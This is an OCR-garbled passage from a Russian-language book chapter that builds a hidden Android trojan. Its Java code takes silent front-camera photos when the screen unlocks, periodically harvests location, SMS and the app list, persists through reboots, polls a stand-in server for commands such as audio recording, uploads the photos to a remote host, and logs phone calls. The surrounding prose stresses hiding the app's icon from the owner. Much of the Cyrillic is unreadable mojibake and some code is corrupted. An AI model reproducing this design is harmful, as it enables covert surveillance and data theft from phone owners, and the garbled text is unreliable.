handler = new Handler (handlerThread.getLooper());
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imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener (mOnImageAvailableListener, handler);

try {
manager.openCamera (camerald, mStateCallback, handler);
// Xmem QoxycuposKy
Thread.sleep(1000) ;
takePicture();

} catch (Exception e) {
Log.d(TAG, "Can't open camera: " + e.toString());
return false;

return true;

private int getOrientation() {

WindowManager wm = (WindowManager)
context.getSystemService (Context .WINDOW SERVICE);

int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;

switch (rotation) {

case Surface.ROTATION 0:
deviceOrientation = 0;
break;

case Surface.ROTATION 90:
deviceOrientation = 90;
break;

case Surface.ROTATION 180:
deviceOrientation = 180;
break;

case Surface.ROTATION 270:
deviceOrientation = 270;
break;

int sensorOrientation =
characteristics.get (CameraCharacteristics.SENSOR_ORIENTATION) ;

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get (CameraCharacteristics.LENS FACING)
== CameraCharacteristics.LENS_FACING FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
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OTOT KOJ clieyeT BbI3bIBaTh B OTAEIBHOM MOTOKE, NEpeJaB B Ka4eCTBE apryMeHTOB Me-
CTO pacrojoXKeHHs KaMepsl (front — MepeaHss, back — 3aJHAA) M KaTajor, B KOTOPbIH
OyayT coxpaneHsl potorpadun. B kauecTse uMeH daiiioB OyaeT HCNoONb30BaHa TeKyLas

AaTa H BpEMA.

S X % = et , -

String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);

CknaabiBaem Bce BMecTe

C 3TOro MOMeHTa y Hac ecThb KapKac MpHJIOXEHHs, KOTOPbIH 3aMyCKaeT CEPBHC H CKpbI-
BaeT cBoe npucyTcTBHe. EcTh Habop gyHKLUHH H KJ1acCOB, KOTOpbIE MO3BOJIAIOT cOOHpaTh
HHbOpMaLHIO O cMapTOHE M ero BiajeNnblLe, a TaKkKe CKPBHITHO 3alHChIBATh ayaHO
U penatb ¢oro. Tenepb HyxHO pa3obpaTbcs, KOraa M NMpH KakHX OOCTOATENbCTBAaX MX
BBI3bIBATD.

Ecnau Mbl MPOCTO 3aCYHEM BBI3OB BCEX 3THX (byHKuHﬁ B CEpPBHC, TO IOJIYYHM becmnoes-
HO€ «OQHOPA30BOE€ MPHIIOKEHHEN. Cpa3y MOCJI€ 3aITyCKa OHO Y3HA€T l/mcbopmaumo O M¢E-
CTOITOJIOXKEHHH, MOJYUYHT CITHCOK ﬂpHﬂO)KeHHFI, SMS, cacnacT 3anrucb ayaJuo, CHUHMOK,
COXpPaHHT BCE 3TO B Q)aﬁﬂbl B CBOEM IPHBATHOM KaTajioreé H yCHET. OHo jaxe He 3amnyc-
THUTCA MOCJIE NMepe3arpy3kKH.

I'opa3no 6onee Mone3HbIM OHO CTAHET, €CITH OMpeJeeHHE MECTOMOJIOKEHHS, JaMIT MPH-
noxeHud U SMS OyayT NpOHUCXOAUTH MO pacnUCaHHUIO (IOMYCTHM, pa3 B Moj4aca), CHH-
MOK 3KpaHa — NpH KaXXJ0M BKJIHOYEHHH YCTPOWCTBa, a 3aMHCh ayJaHO — MO KOMaH[e
C cepsepa.

3aaaHua no pacnucaHuio

Yro6nl 3acTaBUTh Android BBIMONHATE KOJ Halliero MPHIIOXKEHHUA 4Y€PE3 OINPEACIICHHBIC
HHTEPBaJibl BDEMEHH, MOXKHO HCIOJIb30BAaTh AlarmManager. I[ﬂﬂ Hayajia HaruilieM TakoH
KJ1acc:

public class Alarm extends BroadcastReceiver {
public static void set (Context context) {

AlarmManager am = (AlarmManager)
context.getSystemService (Context.ALARM SERVICE);

Intent intent = new Intent (context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast (context, 0, intent, 0);

am.setInexactRepeating (AlarmManager.ELAPSED REALTIME WAKEUP,
SystemClock.elapsedRealtime (), 30 * 60 * 1000, pIntent);
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@Override
public void onReceive (Context context, Intent intent) {
// TBoOM kom 3mech

Meron set () ycTaHOBUT «OyaMIbHUK», cpabaThiBaloIui Kakable TPHALATh MHHYT H 3a-
MyCKaIOHUH METOA onReceive (). IMEHHO B HEro Mbl JODKHBI TIOMECTHTH KO, CKHIBI-
BalOLIMi MecTomnonoxenne, SMS u cniucok npunoxeHui B ¢ainel. B meron “onCreate()'
cepBuca 106aBHUM CIIEAyIOLIYIO CTPOKY:

Alarm.set (this)

CHUMOK NpU BKIHOYEHUU 3KPaHA

BeccMBICTIEHHO HenaTh CHHMOK Kakaple momdaca. ['opa3fo monesHee nenaTtb CHHMOK
nepenHeii kamepo# npu paz6nokupoBke cMapTdoHa (cpa3y BUIHO, KTO €r0 UCIONB3YET).
YT06BI peanu3oBaTh TaKoe, CO3aIUM KJIacC ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive (Context context, Intent intent) {
// TBOI1 kOm 3mechb

U 3apeructpupyem ero B KoJie cepBHUca:

IntentFilter filter = new IntentFilter();
filter.addAction("android.intent.action.ACTION SCREEN ON");
registerReceiver (new ScreenOnReceiver (), filter);

3anyck npu 3arpyske

B naHHBI MOMEHT y Halllero NpHIoXeHHud ecTb ofHa Gonpiuas npobneMa — oHo Oyner
paboTaTh pOBHO IO TeX MoOp, NMOKa MOJB30BaTeNb He mepe3arpy3uT cMapTdoH. UToObl
niepe3arnycKaTh CEpBHUC IPH 3arpy3ke cMapT¢dOHa, CO3qauM elle OJHH PECHBED:

class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive (Context context, Intent intent) ({
Intent servicelntent = new Intent(this, MainService.class);
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startService (servicelntent);

H no6aBuM ero B MaHHeCT:

<receiver android:name="com.example.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT COMPLETED" />
</intent-filter>
</receiver>

3anucb ayauo nNo KkomaHae

C sTHM HeMHoro croxxHee. CaMblii MPOCTOH cnocob oTAaTh KOMaHAy HalleMy TPOSHY —
3anMcaTh ee B OOBIYHBIH TEKCTOBBIH (paiy M BBUIOXKHTH 3TOT ¢ain Ha cepBepe. 3arem
MOMECTHTB B CEPBHC KO, KOTOpbIi OyaeT, AOMyCTHM, KXY MHHYTY MPOBEPATH cep-
Bep Ha HallMuHe ¢aiiyia U BBITIOJIHATH 3a[THCAHHYIO B HEM KOMaHLYy.

B xone 3To MoxeT BBIMIAAETh TNPUMEPHO TaK:

String url = "http://example.com/cmd"
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();

while (true) ({
Response response = client.newCall (request).execute();
String cmd = response.body().string();
cmd = cmd. trim()
if (cmd.equals("record")) f{
// Ilenaem aymiosammchb
}
try {
Thread.sleep (60 * 1000);
} catch (InterruptedException e) {}

KOHEeYHO e, Y 3TOro KoJa ecTh HEJIOCTATOK — €C/IM Bbl OMH pa3 3aruiueTe KoMaHay
B ¢ain Ha cepBepe, TPOAH OyIeT BBHIMOIHATH €€ KaxIylo MHHYTy. UTtoOsl 3TOro usbe-
XaTh, JOCTATOYHO N00aBUTH B Gain yHciaoBod npedHkc B opMare «X:komaHna» H yBe-
JTMYHBATh 3TOT MpedHKC NMPH KaXKAOH 3anmHMCcH KOMaHAbl. TPOsAH e NO/DKEH COXPaHAThH
3TO YHMCJIO H BBHIMOJHATH KOMaHIY TOJIBKO B TOM CJIy4ae, €CJIH OHO YBETHYHIIOCh.
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I'opa3no xyse, uTo Baw TposAH OyaeT 3aMeTHO pacxoaoBathk O6atapero. A Android (Hayu-
Has c IecToH BepcHH) OyneT ero B 3TOM OrpaHH4YMBaTh, 3aKpbiBasg AocTyn B MHTepHerT.
Yrtob6bl H30ekaTh 3THX NpobieM, MOXKHO HCIOJB30BaTh cepBHC push-yBenomieHHid.
OneSignal (http://onesignal.com) OoTJIHYHO MOAXOAMT Ha 3Ty ponb. OH OecrulaTeH U
NPOCT B MCIOJIB30BAaHHH. 3aperHCTPUPYHTECh B CepBHCE, 100aBbTe HOBOE MPHIIOXKEHHE
U clieqyiTe HHCTPYKLHAM.

OTnpaeka AaHHLIX Ha cepsep

Hrak, Ml coOpanu naHHbBIE H COXpPaHWIHM MX B (aiilbl BHYTpH NMpPHUBAaTHOrO Kartajora.
Teneps MbI rOTOBBI 3aJIMTh 3TH AaHHBIE Ha cepBep. CaenaTh 3TO HE TaK YK CJIOXKHO, BOT,
HanpuMep, Kak MOXXHO OTIIPaBHTh Ha cepBep Hauly GoTKy:

private static final MediaType MEDIA TYPE JPEG = MediaType.parse ("image/jpeg");

public void uploadImage (File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();

RequestBody requestBody = new MultipartBody.Builder ().setType (MultipartBody.FORM)
.addFormDataPart ("file", imageName, RequestBody.create (MEDIA TYPE JPEG, image))
.build();

Request request = new Request.Builder().url("http://com.example.com/upload")
.post (requestBody) .build() ;

Response response = client.newCall (request).execute();

BhI3bIBaTh 3TOT METOJ HY’>KHO M3 METOJA onReceive () KJlacca Alarm, YTOOBI KaXKIbl€ TPH-
JUaTh MHHYT NPUJIOXKEHHE OTIPaBIAIO HOBbIE (paiinbl Ha cepBep. OTnpaBieHHble (aiiabl
clieflyeT yaanaTh.

Hy H, kOHeYHO ke, Ha CTOpOHe cepBepa HEOOXOOMMO peaqH30BaTh XEHIUIEp, KOTOPBIi
Oyner obpabartpiBaTh aroansl. Kak 310 caenath, 3aBUCHT OT TOro, kakod ¢peiMBOpK
M CepBep MCIOJIB30BaTh.

Boisoabr

Android — oueHs npyxemoOHas k pa3paboTyHKaM CTOpPOHHHMX mnpuiaokeHuit OC.
[ToaToMy HanMcaTh MOJHOLEHHBIH TPOSH 3[€Ch MOXKHO, UCIONBb3ys CTaHAapTHbBIA APIL.
Bonee Toro, ¢ moMoueto Toro ke API ero 3Ha4ok MOXKHO CKpBITh M3 CITUCKa MPHIIOXKeE-
HM# U 3aCTaBUTH paboTaTh B HOHE He3aMETHO VIS MOTb30BaTENs.
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Ucnonbsyem BosmoxHoctu Android
B JIMYHBLIX LUenax

YMeHue nucath 3¢ deKTHBHbBIE 3710BpEIHbIE MPHIOKEHHS HANpPAMYIO 3aBUCHT OT 3HaHHUA
ocobeHHOCTeH cpelbl, B KOTOPOH 3TH NpHJIOXkKEHUs OyayT paborarb. Yike ynoMHHaB-
winecs paHee APl — Tonbko yacTe TexHuueckux ocobeHHocterd Android. Kpome 3toro,
BPEIOHOCHBIE NMPOrpaMMbl OOBIYHO UCTIOB3YIOT TaKHE BO3MOXHOCTH, KaK JUHAaMHYecKas
3arpy3ka koaa, MmexaHusm IPC (Inter Process Communications) qns o6LeHHs ¢ CHCTEMO#
M JIpyTMMH TpWJIOXKEHHWSAMH, TMpaBa aJMHHHUCTpaTOpa YCTpOWCTBa, MpaBa CepBHca
Accessibility, HenocTynHsle 0OBIYHBIM MPHIIOXKEHHSAM CKpbiThie API, a Takxe npasa root,
KOTOpbI€ CErofHs MOJyYHTb HaMHOrO CJIOXKHEE, YeM BO BpEMEHa TMeEpBbIX BEpCHi
Android.

IPC

Kak Mb1 y)xe 3Haem, npunioxxeHus a1 Android:

O HMMeIoT AOCTYN TOJILKO K CBOEMY COOCTBEHHOMY KaTtayiory H (€c/id eCTh TaKHe MOJIHO-
Mouus) k SD-kapre;

0 MoryT HCroJib30BaTh TOJBKO 3apaHee OroBopeHHble Bo3MoxkHocTH OC (a HauMHas
¢ Android 6, nonb3oBaTesib MOXKET OTO3BaTh MOJHOMOYHS MPSAMO BO BpeMs paboTel
nporpammei);

0 He HMEIOT MpaBa HamNpAMYIO 3amyckaTb, CO3JaBaTh KaHalbl CBS3H WJHM BbI3bIBaTh
METO/Ibl APYTHX NMPHJIOKEHHH.

Peanu3zoBaHo 3TO Bce ¢ MOMOLLBIO CTaHIAPTHBIX MpaB A0CTyna K ¢ainaM, MHOrOYHCIIEH-
HBIX MPOBEPOK MpaB AocTyna k pecypcam OC Ha BceX ypOBHSX BIUIOTH 10 s]pa M 3amyc-
Ka Ka)XJ0ro MpPHJIOXKEHHUS B CBOEH COOCTBEHHOH BUPTYaJIbHOH MaLlHHE.

Bce 3T MexaHM3Mbl OTJIMYHO paboTalOT M BBIMOJIHAIOT CBOM (GYHKIHMH, HO €CTh OfIHa
npobieMa: eciy NpHI0KEHHs MOJHOCTBIO OTPE3aHsbl APYT OT ApYra, TO Kak UM oflaTbes
M KaK OHHM JO/DKHBI B3aUMOJEHCTBOBaTh C 0osiee MPHBHIErHPOBaHHBIMH CHCTEMHBIMH
CepBHCaMH, KOTOpbIE CYTh Te e MpHaoxkeHHA? OTBET Ha 3TOT BOMPOC TaKOB: CHCTEMa
coolleHHi 1 Bbi3oBa npoleayp Binder, oqHa U3 MHOroOYHCIEHHBIX HAXOOK co3/aTenei
nereHaapHoit BeOS, nepexouepasiuas B Android.
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Binder noxox Ha mexanusm COM u3z Windows, HO MpOHHU3bIBAET BCIO OMEPALIMOHHYIO
cucrteMy oT U no. PakTHyeckH Bcs BbICOKOYpoBHeBas 4acTb Android 6a3zupyercs Ha
Binder, no3Bosiss KOMMOHEHTaM CHCTEMbI U MPHUIOKEHUAM OOMEHHBAThCA NAHHBIMH H
nepenaBaTh ApPYr ApYry YNpaBjieHHE, YETKO KOHTPOIHPYS MOJHOMOYHS KOMIIOHEHTOB Ha
B3auMojeicTBue. Binder ucnone3yercs s B3auMopaeicTBUS NpHIOXKEHHH ¢ rpaduye-
CKOM MOJCHCTEMOH, C €ro ke MOMOLIbIO MPOUCXOIUT 3aMyCK U OCTaHOBKA MPHIIOKEHHUH,
«oO1eHne» NpUIoKEHHH ¢ CUCTEMHBIMU cepBHcaMH. Binder ucnonesyercs naxe Toraa,
KOrZa Bbl 3allyCKaeTe HOBYIO aKTUBHOCTb MJIM CEPBHC BHYTPH CBOErO MPUIIOXEHHS.

MHTeHTb

B Android o6wekr knacca Intent sBnsercs abcrpakuuei coobwenus Binder u no 60mb-
LIOMY CYeTy mpencTaBiser coboi cnocob nepenauu ynpapieHHs KOMIIOHEHTaM CBOEro
WIH 4yXOro NMPHJIOKEHHs, BHE 3aBUCUMOCTH OT TOrO, 3alylLIEHO MPUIIOKEHHE, K KOTO-
pOMYy OTHOCHUTCS HaHHBI KOMIOHEHT, WM HeT. BaHanbHeHwMd npumep — 3amyck
aKTUBHOCTH:

Intent intent = new Intent (this, SecondActivity.class);
startActivity(intent);

3rto NMpHUMEP TaK HA3bIBAEMOI'0 sIBHOIO MHTEHTA. Ectb Kknacc SecondActivity, B KOTOpPOM
€CTb METOA OnCreate(), @ MbI MPOCTO TOBOPUM CHCTEME!: «XO‘{}’ 3alyCTHTb aKTHBHOCTbD,
p€aJIM30BaHHYKO B JTaHHOM KJ1accey. COOGI.ILCHHC YXOOHUT, CHCTEMA €ro Nnojy4aeT, Haxo-
JOUT METOJ OnCreate() B KJIACCE€ SecondActivity M 3alyCKaeT CFO.(:quHO H HpOCTO.}{O
BC€ CTAHOBHUTCA HAMHOI'O HHTEPECHEE, €CJIH HUCIOJIb30BATh HESABHBIN HHTEHT. I[J'lﬂ 9TOro
HEMHOIo UK3MEHHUM Halll NpHMEP:

Intent intent = new Intent("com.my.app.MY ACTION");
startActivity(intent);

H MonuduumpyeM onrcaHue akTHBHOCTH B MaHHpecTe:

<activity

android:name="com.my.app.SecondActivity"
android:label="@string/app name"
android:exported="true"
>
<intent-filter>
<action android:name="com.my.app.MY ACTION" />
<category android:name="android.intent.category.DEFAULT" />
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</intent-filter>
</activity>

PesynbtaT Oyaer ToT ke, a BO3HH HaMHOro 6osbiue. OMHAKO €CTh OHO O4eHb OobLIOe
«HO»: B IAaHHOM CJIyyae Mbl HCMOJIb30BaIM HE UMS KOMITIOHEHTA, KOTOPbIH XOTHM 3aryc-
THTb (SecondActivity), a Oeilcinéue, KOTOPOE€ XOTHM BBIMOJIHHUTB (com.my.app.MY ACTION).
To ectb dopMynupoBka «S Xxouy 3amyCTHTb...» NMpeBpaTHiach B «5 XOuy BBIMOJIHHTD
TaKoe-TO IEHCTBHE, U MHE IJIEBaTh, KTO 3TO cAesiaeT». ClnecTBHEM 3TOrO cTall TOT (akT,
YTO Hally aKTHBHOCTh TEMEPb MOXHO 3aMyCTUTh M3 JIHOOOro Apyroro NpUiIoXKeHHs TOYHO
TaKHUM ke criocoboM. Bee, 4To Hy»HO, — 3TO yKa3aTh eHCTBHE, BCE OCTAlIbHOE CHCTEMA
clenaeT caMa.

MooxeT noka3saTbcsi, YTO BCE 3TO HEMHOrO OGeccMbICIIEHHO U Gecrosie3HO, HO B3MJISTHHUTE
Ha clielyIoLHH MpUMep:

Intent intent = new Intent (Intent.ACTION CALL);
intent.setData(Uri.parse("tel:12345678900"));
startActivity(intent);

OTOT NpocTOi KO/ MO3BOJISET MO3BOHHUTH JIOOOMY aOOHEHTY (MPH HAJTMYHH MOJIHOMOYHS
android.permission.CALL PHONE), a Bce Onaronaps ToMy, uTo npuioxeHHe Phone ymeer
obpabaTbiBaTh AeHCTBHE Intent.ACTION CALL (TOYHO TaKHM e CMOCOOOM, Kak B HalleM
npumMepe, ¢ nomolusto intent-filter). bonee Toro, eciu Ha cmapTdoHe ycTaHOB/IEHA CTO-
POHHSAS «3BOHHMJIKA», KOTOpasi yMEET pearupoBaTh Ha TO Xe NEeHCTBHE, CHCTEMA CIIPOCHT,
Kakoe HIMEHHO NMPHJIOKEHHE UCMOJIb30BaTh U1 3BOHKA.

CyuiecTByeT MHOXKECTBO CTaHIApTHBIX CHCTEMHbIX NEHCTBHH, KOTOpble MOryT obpaba-
ThIBaThb NMpHIokKeHHs. Hampumep, Intent.ACTION VIEW IUIS OTKPbITHS BeO-CTpaHHL, H30-
OpakeHHIl W OpYrHX AOKYMEHTOB, ACTION SEND /IS OTMPaBKH AaHHBIX (CTaHIapTHBIH
nuanor «[lonenuTbes»), ACTION SEARCH M T. A. Ilmoc pazpabGoTuMku MpUIIOXKEHHH MOryT
OrnpezeNsTh CBOM COOCTBEHHbIE NEHCTBHSA Ha MaHEp TOro, Kak Mbl 3TO clieJlajii BO BTO-
pom npumepe. Ho ectb onHo nekcTBHe, koTopoe 06s3aHbl 00pabaThiBaTh BCE MPHIIOXKE-
HHS, UMEIOLIHE HUKOHKY Ha paboueM CTosie, — 3TO android.intent.action.MAIN. Cpena
pa3paboTkH cama co3faer [uis Hero intent-filter W yka3bIBaeT MainActivity B KauecTBe
nonyyarens. Tak 4To Bbl MOXKETe Aake HE MOAO3pEBATh O TOM, YTO Balle MPHIOKEHHE
yMeeT ero obpabarbiBaTh, HO HMEHHO OHO MO3BOJISET JIayHYepy y3HaTh, YTO Ha CMapT-
(OH ycTaHOBJIEHO Ballle MPHIOXKEHHE.

OnHako Bce 3TO He TaK yX M MHTEPECHO, H B paMKaX 3TOi KHUIH s Obl XOTesl CKOHLIEH-
TPUpPOBAThLCA Ha APYrOM acrnekTe MHTEHTOB U Binder, a M(MEHHO Ha LIMPOKOBELIATEbHBIX
COOOLUEHHAX.

LWupokosewarensHere coobueHus

OpnHa U3 3aMedaTelIbHbIX 0COOEHHOCTEH HHTEHTOB 3aKJIKOYAETCS B TOM, YTO 3TO HMEHHO
COOGUIGHHH, a 3HAYHUT, HX MOXXHO HCIOJIb30BaTb HE TOJIBKO OJid 3alyCKa KOMITOHEHTOB
I'lpHJIO)KeHHﬁ, HO H 1Ji1 ONOBEUIEHHA O KaKHX-THOO COOBITHAX H nepeaadd OaHHBbIX.
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U 31a ocobeHHoCTh Henosb3yercs B Android Ha nonHyro katymky. CHcTeMa pacchuiaeTr
LUMPOKOBELIATEbHBIE COOOLIEHHS NMPH BO3HHMKHOBEHHH JIIOOOro CKOJNBKO-HHOYIb 3Ha-
YUMOTO COOBITHA: BKIIOYEHHE H BHIKIIOYEHHE cMapT(oHa, BKIIOYEHHE 3KPaHa, MOAKIIIO-
YeHHE K CETH, K 3apAAHOMY YCTPOHCTBY B Clly4yae HH3KOro 3apsaa Garapeu, npH BXoas-
IEM M HCXOIALUEM 3BOHKE H T. A. Jlaxke cMeHa OaThl MPHBOAMT K OTHPaBKE LIMPOKOBE-
LIATEIBHOTO COOOLUEHHS.

Ecnu nucath KOA ¢ y4eTOM BCEX 3THX COOOLUEHHH, MOXKHO MOJyYHTh OYEHb YMHOE MpH-
JIoXKeHHe, crnocobHoe moAcTpauBaThes mox paborty cMaptdoHa M MOJB30BATENsA, a YTO
camoe BaXKHOe — MpHiIoxkeHHe Oyner oOpabaThiBaTh 3TH COOOLIEHHS BHE 3aBUCHMOCTH
OT TOro, 3alMylIeHO OHO WJIH HeT (B HOBBIX BepcHax Android akTyanbHO He M BCex
THIOB COOOLIEHHIH).

PaHee MBI y>ke HCMOJIB30BaJIH HHTEHTHI [T 3alycKa CEpBHCa W CHHMKa JIHLIA MPH BKJIIO-
YeHHUH JKpaHa, Terepb paCCMOTPHM ApYyro# npumep. JlomycTHM, y Hac €cTh MPHIIOKEHHE
C MOJIHOCTBIO 3aBUCHMBIM OT HMHTepHeTa cepBHcOM. CepBHC MOCTOAHHO MOAAEPXKHUBAET
MNOAKIIOYEHHE K YOAJIEHHOMY CepBepy H IeT ympasisiowed koMaHabl. OOGBIYHBIMH
MeToAaMH npobiieMa BHE3amHOro OTkIoYeHUd ot MIHTepHeTa pewanace 661 JH6O mpo-
BepKo# Ha Hannyue MHTepHeTa nepen Ka)(IbIM MOBTOPHBIM MOAKIIOYEHHEM K CEPBEpY H
3aChIIAaHHEM, €CJIH €ro HeT, JIMOO OTAEeNBHBIM MOTOKOM, KOTOPBIH BPEMA OT BPEMEHH
npoceinancs 6bl ¥ MpOBEpAS HaJMYHE CBA3M, B Cly4ae 4ero MHHas OCHOBHOHW IMOTOK.
Henocratok 060MX METOIOB COCTOMT B TOM, YTO OHH NMPHUBOAAT K 3aJEPXKKaM Mepernoa-
KJIIOYEeHHA B MOMEHT, koraa MHtepHer nosenserca. Huyero KpUTHYHOro, KOHEYHO, HO
HENPHATHO.

Ho, ecnu npunoxenue 6yaer peardpoBaTh Ha COOOLUEHHSA OT CHCTEMBI, 3Ta nMpobiema
pewuTcs caMma coboi. Uro6el peanuzoBaTh Takoe, HEO6X0AUMO, YTOOBI MPUIIOXKEHHE pea-
THPOBAJIO Ha COOOLIEHHE CONNECTIVITY CHANGE, a 3aT€M MPOBEPAJIO, YTO KOHKPETHO IpO-
H30LIO: OTKJIIOYEHHE OT CETH WIIH noikmoveHHe. YTobsl peann3oBaTh 3Ty ¢yHKLHMIO,
HaM MOHaf00UTCA pecUBep:

public class ConnChangeReceiver extends BroadcastReceiver {
private String TAG="ConnChangeReceiver";

@Override
public void onReceive (Context context, Intent intent) {
Intent myIntent = new Intent(context, MainService.class);
if (isConnected(context)) {
Log.d(TAG, "Connected to network, start service"):;
context.startService (myIntent) ;
} else {
Log.d(TAG, "Network disconnected, stop service");
context.stopService (myIntent);
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public static boolean isConnected (Context context) {

ConnectivityManager cm = (ConnectivityManager)
context.getSystemService (Context.CONNECTIVITY SERVICE);

if (cm == null) {
return false;

NetworkInfo networkInfo = cm.getActiveNetworkInfo();
if (networkInfo == null) {
return false;

return networkInfo.isConnected();

IntentFilter filter = new IntentFilter();
filter.addAction ("android.net.conn.CONNECTIVITY CHANGE");
registerReceiver (new ConnChangeReceiver (), filter);

Ilpn BO3HHKHOBEHHH COOOLIEHHA CONNECTIVITY CHANGE 3aIlyCKaeTCsi pecHBep, KOTOpBIH
MPOBEPSAET, YTO MPOM3OLLIO: YCTAHOBKA WJIH pa3pbiB COEAHHEHHA, U B 3aBUCHMOCTH OT
3TOro 3amycKaeT WJIH OCTaHaBJIMBAa€T BECh CEPBHC LIETHKOM. B peasbHOM koxe Taioke
MOXeT ObITh Ky4a ApYrHX MPOBEPOK, a ellle MPOBepKa MOKIIOYEHHS C MOMOIUBIO MHHra
xocta 8.8.8.8 (moxkioueHre MoXeT GBITH YCTAHOBIIEHO, HO caM FIHTepHeT HeoCTymeH).
Ho 310 He Tak BaxkHO, a Ba)KHO TO, YTO MPOCTEHILHI KOA MO3BOJISET HaM Jierko u3ba-
BHTBCA OT JOBOJILHO Cepbe3HOH MpobieMsl, MpUYEM CHCTEMa MO MakcHMyMy Oeper pa-
60Ty Ha ce0s, U, HaNpUMep, €ClIH CepBHC Yyxe OyneT 3amylieH, HHYero He MpoU3oMHaeT,
BTOpOro cepBHca He MoABHTCA. Takum ke oOpa3oM MOXHO pearHpoBaTh Ha MHOTHE
IApyrue cooOlueHHs, OomHcaHHble B o¢duuManbHOH nokyMeHTauu (http://developer.
android.com/intl/ru/reference/android/content/Intent.html).

NoruposaHue 3soHkoB

B kauecTBe elie oAHOro MpUMepa pacCMOTPHM JIOTHPOBaHHE 3BOHKOB. [[y1g 3TOro noHa-
JN0OHTCSA JOBOJIBHO MPOCTOH peECHBEP:

public class PhoneStateReceiver extends BroadcastReceiver {
private final String TAG = "PhoneStateReceiver";

private boolean incomingFlag = false;
private String incomingNumber = null;
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@Override
public void onReceive (Context context, Intent intent) {
if (intent.getAction().equals(Intent.ACTION NEW OUTGOING CALL)) {
String phoneNumber = intent.getStringExtra(Intent.EXTRA PHONE NUMBER);
Log.d(TAG, "Call to number: " + phoneNumber);
} else {

" TelephonyManager tm =
(TelephonyManager) context.getSystemService (Service.TELEPHONY SERVICE);

switch (tm.getCallState()) {

case TelephonyManager.CALL STATE RINGING:
incomingFlag = true;
incomingNumber = intent.getStringExtra("incoming number");
Log.d(TAG, "Incoming call: " + incomingNumber) ;
break;

case TelephonyManager.CALL STATE OFFHOOK:
if (incomingFlag) {

Log.d (TAG, "Incoming call accepted: " + incomingNumber) ;

}
break;

Kak 06b14HO, Bce 04€Hb MPOCTO, ONHAKO B 3TOM CIIyYae Mbl HE IPOCTO pearupyeM Ha HH-
TEHT, HO H MpOBepseM JeiCTBHE C MOMOLIBIO METOIA getAction () . Haw pecuBep nomkeH
pearupoBaTh U Ha J€HCTBHE NEW OUTGOING CALL, H Ha PHONE_STATE, T. €. H3MEHEHHE COCTOS-
HuA paguoMoayns. Taioke MbI MpoBepseM IepelaHHble B MHTEHTE JOMOJHHTENbHBIE
JaHHBIE C MOMOILBIO getStringExtra(). A Jajee, €ClIH 3TO HCXOMSAIIHI 3BOHOK, MBI MPO-
CTO JIOTHPYEM €ro; €CIIH Xe MPOH30LLIO H3MEHEHHE COCTOSHHS, TO MPOBEPAEM TeKyllee
cocrosHHe ¢ nomouibio TelephonyManager u lorupyem, eciii 3BOHOK BXOIALIMIA.

Pazymeercs, B pealbHOM «BpPEIOHOCHOM)» MPHJIOKEHHH HYXHO OyIer He JIOrHpoBaTh
3BOHKH, a TH60 aKKypaTHEHbKO 3alMCHIBaTh HX B (paiiyIMK, KOTOPEHIH 3aTeM OTIIPaBIAThH
KyAa Hajo, W60 cpa3y OTnpaBiATh KyJa Halo, XOTb Ha cepsep, XoTb B IRC, xotb
B Telegram.

Cxpurthze API

He Bce API B Android moctynHbl BceM npuiaoxeHHsM. EcTb Tak Ha3pIBaeMbl€ CKpBITHIE
API, koTOpble HENb3sA MPOCTO TaK BbI3bIBATh. B3risHeM Ha clieXyIOWHA JEKOMITHIHPO-
BaHHbIH koA npunoxeHus Drop Down Status Bar (puc. 15.1).

OH co3aaer 00BEKT KJj1acca StatusBarManager H BBI3BIBAET €ro METO
expandNotificationPanel (), €CJIH MpHIOXKeHHe paboTaer B cpeae Android 4.2, unu MeTon
expand (), eclii 310 Android npeasiAyImKUX BepcHii. TO pealbHO CYLIECTBYIOLIEE U Ipe-
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}
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Puc. 15.2. AHanoruyHbii KoA Bbi3biBaeT ownbKy NpUNoXeHUs

KpacHo paGorarouiee npuinoxeHre. Ho ecnu Mbl mornpoGyeM HamucaTh TOYHO TaKOM ke
KOJ, TO MoJTy4yuM owHuOKy (puc. 15.2).

Knacc statusBarManager He cyuectByeT B Android SDK. Tak npoucxoauT noTomy, 4To
¢peiiMBopk, conepxkaiuii Bce wiacchl nakera Android (Bkimoudas TpeOyeMbli Ham
android.app.StatusBarManager), He OOUH U mom Jice HA pearbHom ycmpouicmee u 6 SDK.
Bepcus ¢peiimBopka B SDK, Bo-niepBbIX, JOBOJIBHO CHJIBHO Ype3aHa B IUIaHe JOCTYMHBIX
KJ1acCOB, a BO-BTOPhIX, HE BKJIIOYAET B ceOA caMoro Kojia peaju3aliH K1accoB (BMECTO
METOOB ¥ KOHCTPYKTOPOB — 3arjyLIKH, puc. 15.3).
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Puc. 15.3. CoA_epmmoe peiMBOPKOB peansHoro yctponcrtea u SDK

B urore, 4ToObl MOMYYUTH AOCTYN KO BCEM KJIaccaM M METOAaM, onpeaeneHHbIM B API
Android Ha caMoM ycTpoiicTBe, He06X0AUMO TMO0 MOAKITIOYUTE K MPHIOXKEHHUIO (peiiM-
BOPK, BbIIEPHYTHI MPAMO C YCTPOICTBa, TMOO0 UCMONB30BaTh peduieKCHIO.

OpuruHanbHeIW (PperumBopk

Yro6b!l MCONB30BaTh OPUIHHAJBHBIHA peiiMOpK, ero HeoOX0AMMO cka4aTh C YCTpOHCTBa
(HanpumMep, ¢ nomoiusio ADB):

$ adb shell

su

cp /system/framework/framework.jar /sdcard/
exit

vV V V V

exit
$ adb pull /sdcard/framework.jar

Janee ero Heo6xoauMo TpaHciMpoBaTh 06paTHO B 6aiiT-kon Java:

$ unzip framework.jar §
$ dex2jar-2.0/d2j-dex2jar.sh classes.dex

U 3atem pazmecTuThb kak o6b14HyI0 GUOIHOTEKY B MpOEKTE:

$ cp classes-dex2jar.jar ~/AndroidstudioProjects/UMs_PWIOXEHUA/app/libs/

U npucoenMHUTh €€ k MpoekTy ¢ nomoubio MeHIo Add as library.
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Pepnexcus

